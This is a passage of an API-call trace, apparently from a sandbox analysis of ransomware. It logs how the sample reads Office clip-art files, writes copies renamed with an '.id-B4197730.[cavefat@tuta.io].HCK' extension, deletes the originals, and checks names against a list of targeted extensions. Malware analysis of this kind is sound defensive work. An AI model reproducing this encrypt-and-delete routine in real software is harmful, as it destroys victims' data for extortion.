dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.704] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=31968) returned 1 [0179.704] CloseHandle (hObject=0x368) returned 1 [0179.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02062u.bmp")) returned 0x220 [0179.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02062u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02062u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.709] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.709] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02062u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.712] GetLastError () returned 0x0 [0179.712] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0179.713] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0179.714] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.714] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.715] SetEndOfFile (hFile=0x368) returned 1 [0179.717] CloseHandle (hObject=0x368) returned 1 [0179.718] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.718] SetEndOfFile (hFile=0x39c) returned 1 [0179.721] CloseHandle (hObject=0x39c) returned 1 [0179.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02062u.bmp")) returned 1 [0179.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP") returned 68 [0179.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP") returned 68 [0179.725] lstrlenW (lpString=".doc") returned 4 [0179.725] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.726] lstrlenW (lpString=".docx") returned 5 [0179.726] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.726] lstrlenW (lpString=".pdf") returned 4 [0179.726] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.726] lstrlenW (lpString=".xls") returned 4 [0179.726] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.726] lstrlenW (lpString=".xlsx") returned 5 [0179.726] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.726] lstrlenW (lpString=".ppt") returned 4 [0179.726] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP") returned 68 [0179.726] lstrlenW (lpString=".zip") returned 4 [0179.726] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.726] lstrlenW (lpString=".rar") returned 4 [0179.726] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.726] lstrlenW (lpString=".bz2") returned 4 [0179.726] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.726] lstrlenW (lpString=".7z") returned 3 [0179.726] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP") returned 68 [0179.726] lstrlenW (lpString=".dbf") returned 4 [0179.726] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP") returned 68 [0179.726] lstrlenW (lpString=".1cd") returned 4 [0179.726] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP") returned 68 [0179.726] lstrlenW (lpString=".jpg") returned 4 [0179.726] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP") returned 68 [0179.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP") returned 68 [0179.726] lstrlenW (lpString=".doc") returned 4 [0179.726] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.726] lstrlenW (lpString=".docx") returned 5 [0179.726] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.726] lstrlenW (lpString=".pdf") returned 4 [0179.726] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.726] lstrlenW (lpString=".xls") returned 4 [0179.726] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.726] lstrlenW (lpString=".xlsx") returned 5 [0179.726] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.726] lstrlenW (lpString=".ppt") returned 4 [0179.726] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP") returned 68 [0179.726] lstrlenW (lpString=".zip") returned 4 [0179.726] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.726] lstrlenW (lpString=".rar") returned 4 [0179.726] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.726] lstrlenW (lpString=".bz2") returned 4 [0179.726] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.726] lstrlenW (lpString=".7z") returned 3 [0179.726] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP") returned 68 [0179.726] lstrlenW (lpString=".dbf") returned 4 [0179.727] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP") returned 68 [0179.727] lstrlenW (lpString=".1cd") returned 4 [0179.727] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP") returned 68 [0179.727] lstrlenW (lpString=".jpg") returned 4 [0179.727] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.727] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.727] lstrlenW (lpString="PH02208U.BMP") returned 12 [0179.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02208u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.728] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=31968) returned 1 [0179.728] CloseHandle (hObject=0x2fc) returned 1 [0179.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02208u.bmp")) returned 0x220 [0179.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02208u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02208u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.733] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.733] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02208u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.740] GetLastError () returned 0x0 [0179.740] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0179.741] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0179.743] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.743] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.743] SetEndOfFile (hFile=0x300) returned 1 [0179.744] CloseHandle (hObject=0x300) returned 1 [0179.745] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.745] SetEndOfFile (hFile=0x2fc) returned 1 [0179.750] CloseHandle (hObject=0x2fc) returned 1 [0179.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02208u.bmp")) returned 1 [0179.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP") returned 68 [0179.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP") returned 68 [0179.751] lstrlenW (lpString=".doc") returned 4 [0179.751] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.751] lstrlenW (lpString=".docx") returned 5 [0179.751] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.751] lstrlenW (lpString=".pdf") returned 4 [0179.751] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.751] lstrlenW (lpString=".xls") returned 4 [0179.751] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.751] lstrlenW (lpString=".xlsx") returned 5 [0179.751] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.751] lstrlenW (lpString=".ppt") returned 4 [0179.751] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP") returned 68 [0179.751] lstrlenW (lpString=".zip") returned 4 [0179.751] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.751] lstrlenW (lpString=".rar") returned 4 [0179.751] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.752] lstrlenW (lpString=".bz2") returned 4 [0179.752] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.752] lstrlenW (lpString=".7z") returned 3 [0179.752] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP") returned 68 [0179.752] lstrlenW (lpString=".dbf") returned 4 [0179.752] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP") returned 68 [0179.752] lstrlenW (lpString=".1cd") returned 4 [0179.752] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP") returned 68 [0179.752] lstrlenW (lpString=".jpg") returned 4 [0179.752] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP") returned 68 [0179.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP") returned 68 [0179.752] lstrlenW (lpString=".doc") returned 4 [0179.752] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.752] lstrlenW (lpString=".docx") returned 5 [0179.752] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.752] lstrlenW (lpString=".pdf") returned 4 [0179.752] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.752] lstrlenW (lpString=".xls") returned 4 [0179.752] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.752] lstrlenW (lpString=".xlsx") returned 5 [0179.752] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.752] lstrlenW (lpString=".ppt") returned 4 [0179.752] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP") returned 68 [0179.752] lstrlenW (lpString=".zip") returned 4 [0179.752] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.752] lstrlenW (lpString=".rar") returned 4 [0179.752] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.752] lstrlenW (lpString=".bz2") returned 4 [0179.752] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.752] lstrlenW (lpString=".7z") returned 3 [0179.752] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP") returned 68 [0179.752] lstrlenW (lpString=".dbf") returned 4 [0179.752] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP") returned 68 [0179.752] lstrlenW (lpString=".1cd") returned 4 [0179.752] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP") returned 68 [0179.753] lstrlenW (lpString=".jpg") returned 4 [0179.753] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.753] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0179.753] lstrlenW (lpString="PH02412K.JPG") returned 12 [0179.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02412k.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.759] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3541) returned 1 [0179.759] CloseHandle (hObject=0x39c) returned 1 [0179.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02412k.jpg")) returned 0x220 [0179.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02412k.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02412k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.764] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.764] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02412k.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.768] GetLastError () returned 0x0 [0179.768] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xdd5, lpOverlapped=0x0) returned 1 [0179.769] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xde0, lpOverlapped=0x0) returned 1 [0179.770] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.770] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.770] SetEndOfFile (hFile=0x2fc) returned 1 [0179.771] CloseHandle (hObject=0x2fc) returned 1 [0179.772] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.772] SetEndOfFile (hFile=0x368) returned 1 [0179.774] CloseHandle (hObject=0x368) returned 1 [0179.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02412k.jpg")) returned 1 [0179.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG") returned 68 [0179.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG") returned 68 [0179.779] lstrlenW (lpString=".doc") returned 4 [0179.779] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.779] lstrlenW (lpString=".docx") returned 5 [0179.779] lstrcmpiW (lpString1=".docx", lpString2="K.JPG") returned -1 [0179.779] lstrlenW (lpString=".pdf") returned 4 [0179.779] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.779] lstrlenW (lpString=".xls") returned 4 [0179.779] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.779] lstrlenW (lpString=".xlsx") returned 5 [0179.779] lstrcmpiW (lpString1=".xlsx", lpString2="K.JPG") returned -1 [0179.779] lstrlenW (lpString=".ppt") returned 4 [0179.779] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG") returned 68 [0179.779] lstrlenW (lpString=".zip") returned 4 [0179.779] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.779] lstrlenW (lpString=".rar") returned 4 [0179.779] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.779] lstrlenW (lpString=".bz2") returned 4 [0179.780] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.780] lstrlenW (lpString=".7z") returned 3 [0179.780] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG") returned 68 [0179.780] lstrlenW (lpString=".dbf") returned 4 [0179.780] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG") returned 68 [0179.780] lstrlenW (lpString=".1cd") returned 4 [0179.780] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG") returned 68 [0179.780] lstrlenW (lpString=".jpg") returned 4 [0179.780] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG") returned 68 [0179.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG") returned 68 [0179.780] lstrlenW (lpString=".doc") returned 4 [0179.780] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.780] lstrlenW (lpString=".docx") returned 5 [0179.780] lstrcmpiW (lpString1=".docx", lpString2="K.JPG") returned -1 [0179.780] lstrlenW (lpString=".pdf") returned 4 [0179.780] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.780] lstrlenW (lpString=".xls") returned 4 [0179.780] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.780] lstrlenW (lpString=".xlsx") returned 5 [0179.780] lstrcmpiW (lpString1=".xlsx", lpString2="K.JPG") returned -1 [0179.780] lstrlenW (lpString=".ppt") returned 4 [0179.780] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG") returned 68 [0179.780] lstrlenW (lpString=".zip") returned 4 [0179.780] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.780] lstrlenW (lpString=".rar") returned 4 [0179.780] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.780] lstrlenW (lpString=".bz2") returned 4 [0179.780] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.780] lstrlenW (lpString=".7z") returned 3 [0179.780] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG") returned 68 [0179.780] lstrlenW (lpString=".dbf") returned 4 [0179.780] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG") returned 68 [0179.780] lstrlenW (lpString=".1cd") returned 4 [0179.780] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG") returned 68 [0179.780] lstrlenW (lpString=".jpg") returned 4 [0179.781] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.781] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.781] lstrlenW (lpString="PH02503U.BMP") returned 12 [0179.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02503u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.785] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=31968) returned 1 [0179.785] CloseHandle (hObject=0x2fc) returned 1 [0179.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft 